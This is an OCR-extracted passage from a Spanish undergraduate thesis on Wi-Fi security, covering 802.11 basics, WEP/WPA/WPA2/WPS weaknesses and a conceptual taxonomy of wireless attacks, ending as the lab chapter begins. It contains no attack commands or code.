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Resumen del Trabajo (méximo 250 palabras):

En este trabajo fin de grado se pretende realizar un estudio de los riesgos y
amenazas a las que estan expuestas las redes Wi-Fi.

Primeramente se realizard una introduccion a la seguridad en las redes Wi-Fi,
en el que se describira brevemente una serie de conceptos basicos sobre esta
tecnologia. También se plasmara una descripcion teérica de los protocolos de
encriptacion (WEP, WPA, WPA2, EAP, TKIP y WPS) disponibles en los puntos
de acceso, indicando sus virtudes y vulnerabilidades. Y se analizaran cada uno
los diferentes ataques mas comunes que se pueden realizar a las redes
inaldambricas.

Una vez definida las medidas que existen para securizar una red Wi-Fi, se
pondran en préactica, en un laboratorio, las diferentes técnicas que permiten
saltarse la seguridad de los protocolos anteriormente definidos, analizando a
nivel teérico qué vulnerabilidad es explotada en cada uno de los ataques.

Demostrado que las medidas de seguridad ofrecidas por routers y/o puntos de
acceso presentan carencias, se implementara un servidor RADIUS para que
gestione la autenticacién, autorizacion y registro de los usuarios de una red
inalambrica.

Para concluir se resumiran las politicas, elementos y soluciones de seguridad
inalAmbrica que se deberan tener en cuenta a la hora de implementar una red
Wi-Fi, tanto en el &mbito doméstico como en el empresarial.




Abstract (in English, 250 words or less):

The aim of this is to conduct a study of the risks and threats WIFI networks are
exposed to.

The starting point would be an introduction to Wi-Fi network security. First with a
brief description of this technology’s basics and second with a theoretical
description about encryption protocols (WEP, WPA, WPA2, AES, TKIP and
WPS), which are available in access points, showing their strengths and
vulnerabilities. Apart from that, each of the most common attacks on wireless
networks will be briefly analyzed.

After this definition of/After defining Wi-Fi security measures, a laboratory will be
set up in order to put bypassing techniques into practice. From this practical part,
a demonstration of these protocols exposure will be shown followed by a
consistent analysis of the vulnerability addressed/treated/considered/evaluated
in each attack.

Once shown that security measures offered by routers and/or access points are
insufficient, a RADIUS server will be implemented to manage authentication,
authorization and user registration of a wireless network.

To conclude this thesis, a summary of policies, elements and safety solutions will
be presented, which have to be taken into account when implementing a WI-FI
network, domestic and business environment.

Palabras clave (entre 4y 8):

Wi-Fi seguridad atagues RADIUS vulnerabilidades 802.11
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1. Introduccidén

1.1 Contexto y justificacion del trabajo
Cualquier empresa, por pequefia que sea, dispone de una red Wi-Fi donde los
trabajadores y clientes conectan multiples dispositivos para acceder a internet y

a la informacion alojada en recursos de red.

Suele ser habitual que una vez el instalador configura el router, la contrasefia de
la Wi-Fi se distribuya a cualquier persona que la solicite. En ninglin momento se
tiene en cuenta las repercusiones que esto puede tener y mucho menos se tiene

presente realizar modificaciones adicionales.
Este desconocimiento puede implicar:

e Reduccion del ancho de banda debido a un uso indiscriminado por parte
del atacante.

¢ Robo, eliminacion o secuestro de informacion.

e Infeccion de dispositivo con malware permitiendo que el atacante lo

controle de forma remota.

Segun el informe Symantec Internet Security Threat Report Volumen 21 [1]
(ISTR) los ataques contra las pequefias empresas han crecido en 9 puntos
porcentuales respecto al informe realizado en 2011 (ISTR Volumen 17) [2] donde
se recogia que el 40% de los ataques originados a principios de 2010 han tenido
como objetivo empresas con menos de 500 trabajadores, frente a sélo el 28%

de ciberatagues a las grandes empresas.

La planificacion y ejecucion de un intento de penetracién contra una organizaciéon
normalmente requiere entre 1 y 24 horas. Un retraso de cinco horas en la
realizacion de un ataque exitoso disuade el 13% de los ataques, mientras que
un retraso de 20 horas, disuade el 36% de los ataques. A raiz de los resultados
de este estudio se llega a la conclusién de que al invertir en seguridad se esta
colocando una barrera que conseguird bloquear intentos de acceso no

autorizados o, al menos, disuadir a la inmensa mayoria de atacantes.

Si una red es vulnerada, los atacantes se ponen en contacto con la empresa



para solicitarle un rescate, ya sea para recuperar los datos cifrados o las
estaciones de trabajo infectadas por software malicioso. Si bien los organismos
de seguridad recomiendan no pagar nunca el rescate, ya que esto no asegura la
recuperacion de los datos, los precios exigidos pueden variar desde los 400 $
hasta los 3,7 millones de $ que han solicitado al Hollywood Presbyterian Medical
Center. Estas cifras son estimativas ya que las empresas que pagan los rescates
no hacen publico este tipo de datos, pero segun se recoge en el informe de
ChekPoint Inside Nuclear's Core : Analyzing the Nuclear Exploit Kit
Infrastructure — Part | [3], los desarrolladores del ransomware Nuclear generan

unos ingresos mensuales que rondan los 90.000 €.

A fin de evitar lo anteriormente descrito, es necesario implantar una solucion
basada en WPA2 Enterprise o RADIUS que ofrece una protecciéon adecuada

para las empresas y garantiza totalmente la seguridad de una red Wi-Fi.

Valoracién econdmica

Nombre Descripcion Importe ‘

HP ProLiant ML310e Intel Xeon E5-2620, 4GB RAM, Ethernet 1 Gb, HD 1TB. 695€
Linksys Business La cantidad de dispositivos puede varias en funcion de 126 €
AC1200 las dimensiones del recinto y nimero de conexiones.

Ubuntu Server Sistema Operativo 0€
FreeRADIUS Servicio RADIUS 0€
OpenLDAP Servicio de directorio de usuarios 0€
Servicios Ingeniero Instalacion, configuracion y puesta en marca. 632,06 €

Técnico de Sistemas @ 12 horas de trabajo (52,5 € hora)
TOTAL  1453,06 €

1.2 Objetivos del trabajo
La intencion de este proyecto es la de realizar un estudio completo de la
seguridad en las redes inaldmbricas implementadas con Wi-Fi. Se pondran de
manifiesto los problemas, mas comunes, presenta en el campo de la seguridad.
Este proyecto se podria usar como una guia en la que se mostraran las
diferentes técnicas, de las que hacen uso los atacantes, parar infiltrarse en una
red, pero también se dardn una serie de soluciones y recomendaciones que

obstaculicen lo maximo posible esos intentos de acceso no autorizados.

Los objetivos que se pretenden alcanzar con el trabajo fin de grado son los

siguientes:



1. Conocer la tecnologia que permite la conexion de dispositivos
electronicos de forma inalambrica.

2. Qué fiabilidad y seguridad ofrecen las conexiones Wi-Fi.
Identificacion y analisis de riesgos en las redes inalambricas.

4. Conocer las medidas que permiten securizar las conexiones Wi-Fi.

1.3 Enfoque y método seguido
El enfoque y método seguido para la realizacion del presente proyecto ha
consistido en la divisién en cuatro fases. La primera de ellas ha servido para la

obtencién del conocimiento y asi poder abordar las tres fases siguientes.

En la primera fase se ha realizado un estudio del estdndar 802.11x, de las formas

de securizar una red Wi-Fi y las vulnerabilidades que presenta.

La segunda fase pondra en practica diferentes ataques contra redes Wi-Fi en un
entorno de laboratorio, para valorar por un lado si son efectivos y la complicacion

que implica la realizacién de los mismos.

Posteriormente se implementara la tercera fase en la que se usara un servidor
RADIUS para gestionar la autorizacion, autenticacion y gestion de acceso de los

usuarios a la red inalambrica.

Una vez obtenidos los resultados de las anteriores fases ya se estaré en posicion
de realizar la cuarta fase, que consiste en dar recomendaciones de seguridad

para fortificar una red Wi-Fi.

1.4 Planificacion del trabajo
La realizacion completa del proyecto estd compuesta por una serie de

entregables parciales, los cuales tienen una fecha de entrega limite.

En el siguiente diagrama de Gantt se puede observar cada una de estas entregas
parciales (Pruebas de Evaluacion Continua - PEC) y a su vez cada PEC esta
compuesta por varias subtareas que se deben completar para alcanzar la fecha

objetivo.



Mombre de tarea

~ Duracién

4 TFG - Estudio de los riesgos relacionados con las redes Wi-Fi 89 dias
Decision del proyecto y comunicacidn al consultor 6 dias
4 PEC1 - Planificacién del proyecto 6dias
Recoleccidn de informacion bibliografica 2 dias
Elaboracion de la PEC1 3 dias
Entrega de la PEC1 0 dias
4 PEC 2 - Primera entrega del proyecto 31dias
Recopilacion de informacidn sobre tecnologias inaldmbricas 2 dias
Recopilacion de informacidn sobre el estandar IEEE 802.xx 2 dias
Recopilacion de informacidn sobre atagues a redes Wi-Fi 2 dias
Elaboracidn de la memoria 15 dias
Instalacidén y configuracion del laboratorio 1dia
Realizacion préctica de atagues a redes Wi-Fi en laboratorio 3 dias
Redaccidn de los resultados obtenidos 4 dias
Revision de la memoria 1dia
Entrega de la PEC2 1dia
4 PEC 3 - Segunda entrega del proyecto 25 dias
Instalacidn y configuracion de la magueta del servidor RADIUS 13 dias
Redaccidn de los pasos seguidor y resultados 3 dias
Recopilacion de informacidn sobre vulnerabilidades WEP,WPA y 3 dias
WPSs
Completar y revisar de la memoria 5dias
Entrega de la PEC3 1dia
4 Finalizacion del FTG 22 dias
Entrega de la memoria final 13 dias
Entrega de la presentacion y del cadigo 7 dias
Tribunal 3 dias
llustracion 1 Division de tareas
mar ‘16 abr 16 may ‘16
22 29 o7 14 21 28 O3 11 18 25 oz o9
: él
Ly
' } 09/03
-
-
[
—
[
it

+ Comienzo ~ Fin -
mié 24/02/16  vie 24/06/16
mié 24/02/16  mié 02/03/16
mié 02/03/16  mié 09/03/16
mié 02/03/16  jue 03/03/16
vie 04/03/16  mar 08/03/16
mié 09/03/16  mié 09/03/16
jue 10/03/16  mié 20/04/16
jue 10/03/16  vie 11/03/16
lun 14/03/16  mar 15/03/16
mié 16/03/16  jue 17/03/16
vie 18/03/16 jue 07/04/16
vie 08/04/16  vie 08/04/16
sab 09/04/16  mar 12/04/16
mié 13/04/16  lun 18/04/16
mar 19/04/16 mar 19/04/16
mié 20/04/16  mié 20/04/16
jue 21/04/16  mié 25/05/16
jue 21/04/16  lun09/05/16
mar 10/05/16  jue 12/05/16
vie 13/05/16  mar 17/05/16
mié 18/05/16  mar 24/05/16
mié 25/05/16  mié 25/05/16
jue 26/05/16  vie 24f06/16
jue 26/05/16  dom 12/06/16
lun 13/06/16  mar 21/06/16

mié 22/06/16  vie 24/06/16
jun 18
23 30 o6 13 20

llustracion 2 Diagrama de Gantt

En la siguiente tabla se recoge, a modo de resumen, las fechas mas importantes:

Entregable Fecha limite

Decision del proyecto y comunicacién al consultor
PEC 1 - Entrega de la planificacién del trabajo

PEC 2 - Primera entrega del proyecto
PEC 3 - Segunda entrega del proyecto

Entrega de la memoria final

Entrega de la presentacién y del cédigo

Inicio del tribunal
Final del tribunal

2 de Marzo del 2016
9 de Marzo del 2016
20 de Abril del 2016
25 de Mayo del 2016
12 de Junio del 2016
19 de Junio del 2016
20 de Junio del 2016
24 de Junio del 2016



1.5 Breve sumario de productos obtenidos
El resultado final es un manual que servira para que el lector conozca qué y como
funcionan los elementos de seguridad existentes en la electronica de red Wi-Fiy

los riesgos derivados de las vulnerabilidades que posee esta tecnologia.

A nivel practico se pone en relieve que las redes Wi-Fi son vulnerables y que no
es necesario tener unos conocimientos muy avanzados para poder penetrar en
una red en la que no se haya tenido la precaucion de aplicar unos parametros
de seguridad mas alld de los que se establecen por defecto por parte del

fabricante del dispositivo.

Con los resultados obtenidos del analisis anterior se han podido confeccionar
una serie de recomendaciones que ayudan al lector a mejorar la seguridad en

una red inalambrica basada en el estandar 802.11.

Por ultimo, se ha podido elaborar una guia que permite instalar y configurar una
plataforma de autenticacion RADIUS que a nivel empresarial proporciona un

mayor grado de seguridad.

1.6 Breve descripcidn de los otros capitulos de la memoria
Capitulo 2: se detallan los conceptos basicos del estdndar IEEE 801.11, el
mecanismo de seguridad que implementa y los diferentes tipos de ataques que
normalmente se aplican a éstos. Este capitulo sienta las bases de los conceptos

gue seran tratados en capitulos posteriores.

Capitulo 3: se ponen en practica diversos ataques sobre los protocolos WEP,
WPA y WPS para poner en evidencia que son vulnerables. Junto con cada
demostracion practica se acompafia una explicacion de la vulnerabilidad que es

usada por la herramienta para llevar a cabo la intrusion.

Capitulo 4: en este capitulo se implementa una solucion WPA2 Enterprise, la

cual a dia de hoy es la que mayores garantias de seguridad ofrece.

Capitulo 5: se recogen las mejores practicas que se pueden aplicar para elevar
el nivel de seguridad de una red Wi-Fi.



2. La seguridad en redes Wi-Fi

Las redes inaldmbricas se han popularizado fuertemente en los ultimos afios,
tanto en el ambito del hogar como en el corporativo y espacios publicos. Estas
proporcionan flexibilidad y movilidad, debido a que las ondas de radio tienen una
propagacion radial que se da en tres dimensiones, dentro de un rango
relativamente amplio. Es por esto que es muy dificil mantener las transmisiones
dentro de un area limitada y las ondas pueden pasar de una planta a otra de un
edificio. La principal consecuencia de esta propagacion es que personas no
autorizadas pueden realizar escuchas de la red, sin tener que estar fisicamente
dentro del edificio donde reside la red inaldmbrica, este hecho podria causar
problemas de diversa indole como el robo de archivos personales, contrasefias
de acceso a bancos, redes sociales u otros servicios y distintos tipos de

incidentes de seguridad.

2.1 Conceptos basicos
Wi-Fi (Wireless Fidelity) es el nombre con el que se bautizé al estandar que
describe los productos WLAN basados en los estdndares 802.11. Esta
tecnologia es utilizada para la comunicacion de datos entre equipos situados
dentro de una misma &rea de cobertura. Dicho modelo fue desarrollado por un
grupo de las principales empresas del sector de las comunicaciones denominado
WECA (Wireless Ethernet Compability Aliance). WECA cambidé de nombre en

2002, pasando a denominarse Wi-Fi Alliance.

llustracion 3 Logotipo Wi-Fi

El estandar 802.11 fue publicado en 1997 y se caracteriza por ofrecer
velocidades de 1 y 2 Mbps (Megabits por segundo), un sistema de cifrado
sencillo llamado WEP (Wired Equivelent Privacy) y opera en la banda de
frecuencia de 2.4 GHz (Gigahercio). En 1999 aparecen las primeras variantes
denominadas 802.11a y 802.11b que ofrecen velocidades de 54 y 11 Mbps

respectivamente.


https://es.wikipedia.org/wiki/Wi-Fi

A nivel de seguridad el estandar IEEE (Instituto de Ingenieros Eléctricos y

Electronicos) 802.11 propone tres servicios:

1.

Autenticacion: provee servicios de seguridad para verificar la identidad
entre las estaciones clientes. Establece un control de acceso a la red
denegando la entrada a los equipos clientes que no pueden ser
autentificados.

Confidencialidad: provee de la privacidad lograda en una red cableada. El
objetivo es prevenir que la informacion quede comprometida debido a un
ataque pasivo.

Integridad: este servicio asegura que los mensajes no son modificados en
el camino entre los clientes inaldmbricos y el punto de acceso en un

ataque activo.

No pasaria mucho tiempo hasta que se puso de manifiesto que el estandar tenia

carencias a nivel de seguridad.

A continuacion se procede a realizar un breve resumen de las diferentes

versiones gque se han publicado del estandar:

X/

X/
°

X/
L X4

802.11a: fue aprobada en 1999 y es el primer estandar inalambrico con
velocidades maximas variables de 54 Mbps. Opera dentro del rango de
los 5 Ghz.

802.11b: esta revision fue ratificada en 1999. Soporta velocidades de
hasta 11 Mbps comparable con una ethernet tradicional. Funciona en la
banda de 2.4.

802.11g: lanzado al mercado en 2003. Utiliza la banda de 2.4 Ghz pero
opera a una velocidad tedrica maxima de 54 Mbit/s, que en promedio es
de 22 Mbit/s de velocidad real de transferencia, similar a la del estandar
802.11a.

802.11n: es el desarrollo de la nueva generacion del estandar para redes
inalambricas. El estandar 802.11n trabaja tanto en la banda de 2.4GHz
como en la de 5 GHz y es mucho mas estable y seguro. La velocidad
maxima de transmision de 54 Mbps a un maximo de 600 Mbps.

802. 11ac: lanzada al mercado en enero de 2014. Es conocida como Wi-



Fi 5G o Wi-Fi Gigabit. Mejora las tasas de transferencia hasta 433 Mbit/s
por flujo de datos, consiguiendo tasas de 1.3 Gbit/s empleando 3 antenas.

2.1.1 Modos de operaciones.
El estandar 802.11 define dos modos operativos: modo ad-hoc y modo

infraestructura.

El modo ad-hoc se denota como Conjunto de Servicios Basicos Independientes
(Independent Basic Service Set - IBSS), aunque también puede ser denominado
como punto a punto. En este método de operacion, los clientes inalambricos
pueden establecer una comunicacion directa entre si. Cada estacion de una red
ad-hoc deberia configurar su adaptador inalambrico en modo ad-hoc y usar los

mismos service set identifier (SSID) y nUmero de canal de la red.

Normalmente esta conformada por un pequefio grupo de dispositivos dispuestos

cerca unos de otros.

Ad-Hoc
|

\& w3565 (7
Wy <— Yoy
WML-8315 WML-8315
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WML-3565

llustraciéon 4 Modo Ad-Hoc

En este modo de operacion el rendimiento es menor a medida que el nimero
de nodos crece. Para conectar una red ad-hoc a una red de area local cableada

0 a Internet es necesario el uso de una pasarela (gateway).

El modo de infraestructura es conocido como Conjunto de Servicios Basicos
(Basic Service Set - BSS). Al contrario de como sucedia con el modo ad-hoc,
donde no hay un elemento central, en el modo de infraestructura hay un
componente central conocido como un punto de acceso o estacion base que
tiene la funcién de coordinar. Si el punto de acceso se conecta a una red

cableada, los clientes inalambricos pueden acceder a la red fija a través de él.
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llustracién 5 Modo Infraestructura

Para interconectar muchos puntos de acceso y clientes inalambricos, todos

deben configurarse con el mismo SSID.

2.1.2 Control de acceso al medio
El estdndar 802.11 define en su capa de Control de Acceso al Medio (Medium
Access Control - MAC) una serie de funciones para realizar las operaciones
propias de las redes inalambricas. Esta capa se encarga de gestionar y mantener
las comunicaciones entre estaciones 802.11. También tiene que coordinar el
acceso a un canal de radio compartido, utilizar su capa fisica para detectar la

portadora y realizar tanto la transmision como la recepcion de tramas.

El proceso de acceso al medio por parte de un cliente inaldmbrico implica tres

etapas: exploracion activa / pasiva de los servicios inalambricos, la autenticacion

KN &

Client AR

y asociacion.

Active/Passive scanning

Authentication request -

Authentication response

Association request

Agsociation responsa

llustracion 6 Establecer acceso de un cliente

Busqueda (Scanning): el estandar 802.11 define tanto la busqueda activa como
pasiva, esto es utilizado por un adaptador de red para localizar puntos de acceso.
La busqueda pasiva es obligatoria, cada adaptador de red busca canales

individuales para encontrar la mejor sefial del punto de acceso. Periédicamente,



cada punto de acceso difunde sefales y el adaptador recibe estas sefales

denominadas beacon.

Sea A; 1
Client ‘\\Cﬂl\

Client {SSID=AP1)
; Probe Request i

ﬁc_@_’f (SSID=AP1) -
AP i 1

Probe Response

Client -
llustracién 7 Exploracién pasiva llustracion 8 Exploracion activa
Estas beacon (sefiales de faro) contienen datos sobre el punto de acceso
incluyendo el SSID y las tasas de transmision. El adaptador de red puede usar
esta informacion para compararla y determinar junto con otras caracteristicas,

como la fuerza de la sefial, qué punto de acceso debe utilizar.

La busqueda activa es similar, salvo que la propia tarjeta inicia el proceso
difundiendo una trama de prueba a la que responden todos los puntos de acceso

que estén al alcance con otra trama de prueba.

En la basqueda activa se permite que un adaptador de red reciba respuesta
inmediata del punto de acceso sin necesidad de esperar a una transmision

beacon.

Autenticacion (Authentication): la autenticacion es el proceso para comprobar la
identidad de un adaptador en la red para aceptarlo o rechazarlo. En el estandar
802.11 se especifican dos formas de autenticacion: el sistema abierto y el

sistema basado en una clave compartida.
El sistema abierto es obligatorio y consta de dos pasos:

1. El adaptador de red inicia el proceso enviando una trama de solicitud de
autenticacion al punto de acceso.

2. El punto de acceso responde con una trama de autenticacion que indica
si acepta o rechaza la autenticacion utilizando el campo de codigo de

estado de la trama.

10
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Client AP

Authentication reguest

Authentication response

llustracion 9 Proceso de autenticacion de sistema abierto
La autenticacién de clave compartida es opcional y basicamente comprueba si
la clave es la correcta. El hecho de ser opcional para el protocolo no impide que

esté en la practica totalidad de los adaptadores y puntos de acceso.
Este proceso consta de cuatro pasos:

El cliente envia una solicitud de autenticacion al AP.
El AP genera aleatoriamente un desafio y lo envia al cliente.

El cliente utiliza la clave compartida para cifrar el desafio y la envia al AP.

w0 N PR

El AP utiliza la clave compartida para cifrar el desafio y compara el
resultado con la recibida desde el cliente. Si son idénticos, el cliente pasa

la autenticacion de enlace. Si no, la autenticacién de enlace falla.

S <

Client AP

Authentication Request

Authentication Response ( Challenge )

Authentication (Encrypted Challenge»

_Authentication Response | Success )

llustracion 10 Proceso de autenticacion de clave compartida

Asociacion (Association): la asociacion es un proceso por el cual el punto de

acceso reserva recursos y sincroniza con una estacion cliente.

Una vez que el adaptador de red se ha autenticado, también tiene que asociarse
al punto de acceso antes de poder transmitir tramas de datos. La asociacion es
importante para sincronizar a ambos elementos con informacion importante,

como por ejemplo, las tasas de transmision admitidas.

El adaptador que inicia la asociacién envia una trama de solicitud de asociacion

gue contiene elementos como el SSID y tasas de transferencia admitidas. El

11



punto de acceso reserva memoria para ese cliente, le asigna un ID de asociacion
y le responde con una trama de respuesta de asociacion que contiene el ID de
asociacion junto con otra informacion referente al punto de acceso. Una vez que
el adaptador de red y el punto de acceso han completado el proceso de
asociacion pueden comenzar a transmitir tramas de datos entre ellos, es decir el
cliente puede utilizar el punto de acceso para comunicar con otros clientes de la

red.

2.2 Mecanismos de seguridad

2.2.1 Listas de control de acceso basadas en MAC
Fue la primera medida de seguridad implantada en las redes Wi-Fiy sigue siendo
utilizado a dia de hoy. Es un mecanismo que se activa en los puntos de acceso
permitiendo que Unicamente accedan a la red a aquellos dispositivos cuya
direccion fisica MAC esté especificada en la lista de acceso. Esta medida se
puede utilizar como control adicional; pero es facilmente vulnerable aplicando un

clonado de la MAC a suplantar.

2.2.2 WEP (Wired Equivalent Privacy)
El protocolo WEP fue el primer mecanismo que impedia la obtencion de la
informacion que se intercambiada entre los terminales y punto de acceso
ofreciendo asi una solucion a los problemas generados por las redes abiertas.
Tiene como objetivo principal el de proporcionar confidencialidad, autenticacion
y control de acceso. Este sistema emplea un algoritmo RC4 para el cifrado de
las llaves que pueden ser de 40 o 104 bits y una vez afadido los 24 bits para el
vector de iniciacion ocupan un total de 64 o 128 bits. Un vector de iniciacion es
un contador que va cambiando de valor a medida que se generan tramas de
forma que, al afadirlo a la clave, se aumenta el numero de claves posibles a

emplear.

Llave 1

Llave 2 Se selecciona
la llave

» Llave

Llave 3

l Se anade el IV

Llave 4 IV -24 Liave - 40

llustracién 11 Se afiade el IV a la clave seleccionada
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Las llaves se generan a partir de una clave que ha de ser conocida por todos los
dispositivos involucrados en la comunicacién y este hecho provoca que las
claves sean sencillas y que permanezcan siempre estaticas. A partir de esta
clave se generan 4 llaves de 40 bits, de las cuales se empleara una diferente

cada vez para realizar el cifrado WEP

Inicialmente se creia que se trataba de un cifrado muy seguro, pero pronto se

descubrié que no era asi, demostrando que ofrece muchas debilidades.

Entre las principales debilidades de este sistema se encuentran que las claves
permanecen siempre estaticas y por otro lado los 24 bits del vector de

inicializacion son insuficientes, ademas de transmitirse sin cifrar.

2.2.3 WPA (Wi-Fi Protected Access)
Este sistema de cifrado surgi6é para solucionar los problemas de seguridad que
ofrecia el sistema WEP. WPA implementa la mayoria del estandar IEEE 802.11i,
y fue creado como una medida intermedia para ocupar el lugar de WEP mientras
802.11i era finalizado.

WPA soluciona la debilidad del vector de inicializacion de WEP, mediante la
introduccién de vectores del doble de longitud (48 bits), permitiendo un total de
248 combinaciones de claves posibles, muy por encima de los 16 millones que
permitia WEP, aunque sigue utilizando el algoritmo RC4 como sistema de
cifrado. Se implementa el protocolo de gestion de claves dindmicas (TKP —
Temporal Key Integrity Protocolo) que permite utilizar una clave diferente para
cada trama transmitida. La clave es generada a partir de la clave base, la
direccibn MAC del dispositivo emisor y del nimero de serie del paquete. Estos
paguetes que se transmiten incluyen un nimero de serie Unico de 48 bits que se
incrementa en cada trama, para asegurar claves distintas. También se ha
eliminado el CRC-32 y se ha incluido un nuevo codigo denominado MIC
(Message Integrity Code) o Michael, codigo que verifica la integridad de las

tramas.

WPA puede admitir diferentes sistemas de control de acceso incluyendo la
validacion de usuario-contrasefa, certificado digital o simplemente utilizar una

contrasefia compartida para identificarse.

13



La implementacion de estos nuevos mecanismos de autenticacion y cifrado es
posible mediante una actualizacion de software en la mayoria de dispositivos
existentes en el mercado. En entornos empresariales WPA se utiliza junto con
servidores de autenticacion, como RADIUS, para proporcionar gestion

centralizada de usuarios. RADIUS sera explicado con mas detalle en el punto 4.

Usernarne and passwaord | Authentication Requ:es> I Chedk User Databa:se>

o[ [ yp— (1

User Wireless Router Server PC User Database
(Wireless Computer) (NAS or RADIUS Client) {(RADIUS Server) {Intermnal or External)

Connection to the Metwork {tl}nenticﬁtion Response | es, it's a Authorized User I

llustracién 12 Autenticacion RADIUS

En entornos domésticos o de pequefias oficinas, donde no hay servidores de
autenticacion, WPA funciona en modo PKS (Pre-Shared Key), permitiendo a los
usuarios configurar las claves manualmente en el punto de acceso y en los

clientes.

2.2.4 WPA2 (Wi-Fi Protected Access 2)
WPAZ2 fue creado para corregir las vulnerabilidades detectadas en su antecesor,
WPA. Este sistema cumple con todas las caracteristicas del estandar IEEE
802.11iy en Junio de 2004 fue ratificada como la version certificada del estandar
802.11..

La principal ventaja de WPA2 respecto a WPA es que este primero utiliza el
sistema de cifrado por bloques conocido como AES (Advanced Encryption
Standard).

Otra ventaja de este sistema es que incluye el protocolo de encriptacion CCMP
(Counter Mode with Cipher Block Chaining Message Authentication Code
Protocol), sustituyendo al TKIP. El uso del protocolo CCMP es obligatorio en el

estandar WPA2, pero opcional en WPA.

CCMP emplea el algoritmo de seguridad AES. A diferencia de TKIP, la integridad
de la clave de administracion y mensaje es manejada por un Unico componente

creado alrededor de AES utilizando una clave de 128 bits.
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2.2.5 WPS (Wi-Fi Protected Setup)
El WPS es un mecanismo creado para facilitar la conexién de dispositivos
wireless. Existen varios métodos a través de los cuales un dispositivo puede
unirse a una red inalambrica mediante WPS, pero el mas extendido es el
intercambio de PIN. El dispositivo debe transmitir un cédigo numérico al router y
a cambio este Ultimo le envia los datos para acceder a la red. Es decir
simplemente se debe enviar un codigo PIN de 8 digitos para que el router permita

acceder a la red inalambrica.

S

_— PIN: 12345678 -

F'm 12345678

IST. OPERATIVO
oM @ s
== clave, 891D * :

llustracion 13 Acceso mediante WPS

WPS define una arquitectura con tres elementos con roles diferentes:

e Registrar (matriculador): dispositivo con la autoridad de generar o revocar
las credenciales en la red. Tanto un AP como cualquier otra estacion o
PC de la red pueden tener este rol. Puede haber mas de un Registrar en
una red.

e Enrollee (matriculado): dispositivo que solicita el acceso a la red WLAN.

e Authenticator (autenticador): AP funcionando de proxy entre el Registrar

y el Enrollee.

Elinconveniente de esta funcionalidad es que el tiempo que un atacante necesita
para averiguar un PIN de 8 digitos es mucho menor que el que necesita para

averiguar la contraseifia WPA2 configurada en la red.

2.3 Clasificacion y tipo de ataque a redes Wi-Fi.
Tal y como se ha comentado anteriormente, dado que el aire es el medio por el
que se transmite la informacion, es muy sencillo escuchar esta informacion.
Existe la practica de realizar un mapa exacto de la ubicacion de estos puntos de
acceso con la ayuda de un sistema de posicionamiento global. Estos mapas
pueden revelar las redes inalambricas inseguras que estan disponibles. A esto

se conoce como Wardriving, el cual dio origen al Warchalking, que es un lenguaje
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de simbolos escritos con tiza en las paredes y que informa a los posibles

interesados de la existencia de una red inalambrica en ese punto.

S

Access Controls

SSID

Free Wi-Fi Wi-Fi with MAC Restricted Wi-Fi Pay for Wi-Fi
Filtering
Wi-Fi with WPA Wi-Fi with Multiple Wi-Fi with Closed Wi-Fi Honeypot

llustracion 14 Simbolos Wardriving

Si bien el escaneo e identificacion de puntos de acceso no es una actividad ilegal,
el acceso a una red Wi-Fi sin la autorizacion de su propietario puede suponer un

delito en muchos paises, el cual puede estar penado con diferentes sanciones.

Cuando se hace referencia a un acceso sin autorizacion a una red, hablamos del
concepto de ataque. Este ataque es un evento exitoso o no, que atenta sobre el

buen funcionamiento del sistema.

Los ataques a redes se pueden agrupar en dos categorias:
% Ataques pasivos: en los ataques pasivos el atacante no altera la
comunicacién, sino que Unicamente la escucha o monitoriza, con el
objetivo de interceptar los datos y obtener informacion que esta siendo
transmitida. Es una técnica sutil para obtener informacién de la
comunicacion. Cualquier ataque pasivo tiene los siguientes objetivos
principales:

o Intercepcion de datos: consiste en el conocimiento de la
informacion cuando existe una liberacién de los contenidos del
mensaje.

o Anadlisis de trafico: consiste en la observacion de todo el trafico que

pasa por la red.

Las técnicas mas conocidas dentro de los ataques pasivos son:
e Sniffing: consiste en capturar el tréfico de la red para obtener datos

relevantes (usuarios, contrasefas, direcciones IP, etc...).
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e Ataques al protocolo WEP: en este tipo de atague se requiere capturar
un gran volumen de paquetes de informaciéon con el objetivo de
obtener la clave.

e Ataques al protocolo WPA/WPAZ2: consiste en capturar la secuencia
de autenticacion del protocolo WPA, por lo que es necesario que un
cliente se conecte. Por ultimo se utiliza un ataque de fuerza bruta para
obtener la clave utilizada en el cifrado.

e Ataques de fuerza bruta: este tipo de ataque trata de obtener la clave
de acceso probando todas las combinaciones posibles. La fuerza bruta
suele combinarse con un ataque de diccionario. El ataque de
diccionario es un método similar al de fuerza bruta pero prueba todas
las palabras del diccionario.

% Ataques activos: estos ataques implican algun tipo de modificacion del
flujo de datos transmitido o la creacién de un falso flujo de datos, pudiendo
subdividirse en cuatro categorias:

o Suplantacion: el intruso se hace pasar por una entidad diferente y
se suele utilizar de forma conjunta con otro tipo de ataque activo.
El ataque mas representativo de suplantacién es el ataque Man-in-
the-Middle (MiTM). Este método sélo necesita que el atacante se
sitle entre las dos partes que intentan comunicarse interceptando
los mensajes enviados e imitando al menos a una de ellas.

o Reactuacién: uno o varios mensajes legitimos son capturados y
repetidos para producir un efecto no deseado, como por ejemplo
ingresar dinero repetidas veces en una cuenta dada.

o Moadificacion: una porcion del mensaje legitimo es alterado,
retardado o reordenado, para producir un efecto no autorizado.
Ejemplos de este ataque son la insercion de mensajes espurios en
una red o afiadir registros a un archivo.

o Degradacion fraudulenta del servicio: impide o inhibe el uso normal
0 la gestion de recursos informaticos y de comunicaciones. Este
tipo de ataque también es conocido como ataque DoS (siglas en

inglés de Denial of Service) o DDoS ( Distributed Denial of Service).
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3. Analisis practico de la seguridad en redes
Wi-Fi

3.1 Introduccion.
Una vez se han visto qué medidas existen para securizar una red Wi-Fi, en este
capitulo se pondran en practica algunos ataques con el fin de acceder a una red
de prueba.
Para poder llevar a cabo los ataques se ha creado un entorno de laboratorio que
consta de un router inalambrico Linksys WRT320N, un ordenador portéatil ASUS
N53SV y una suite de auditoria Wi-Fi.
Existen mudltiples distribuciones que permiten hacer andlisis de redes
inalambricas como:

e Kali Linux

e BackTrack

e Xiaopan OS

e Knoppix STD
Se ha elegido la distribucion GNU/Linux Wifislax (basada en Slackware) ya que
estad especializada en la auditoria de redes inalambricas y test de penetracion.
Tiene multiples herramientas sencillas de utilizar tanto para personas que estan
iniciandose como para usuarios mas experimentados. Dado que uno de los
objetivos de este trabajo de fin de grado es poner en relieve cuanto de
complicado resulta acceder a una red sin autorizacién y si es necesario tener
conocimientos avanzados para realizarlo, la eleccidén de esta distribucion queda

justificada.

Eifislay

llustracion 15 Logo de la distribucion de auditoria
Otra ventaja que ofrece Wifislax es que se puede usar como LiveCD o LiveUSB
con lo que no es necesario instalarlo en el disco duro. Esta distribucion tiene
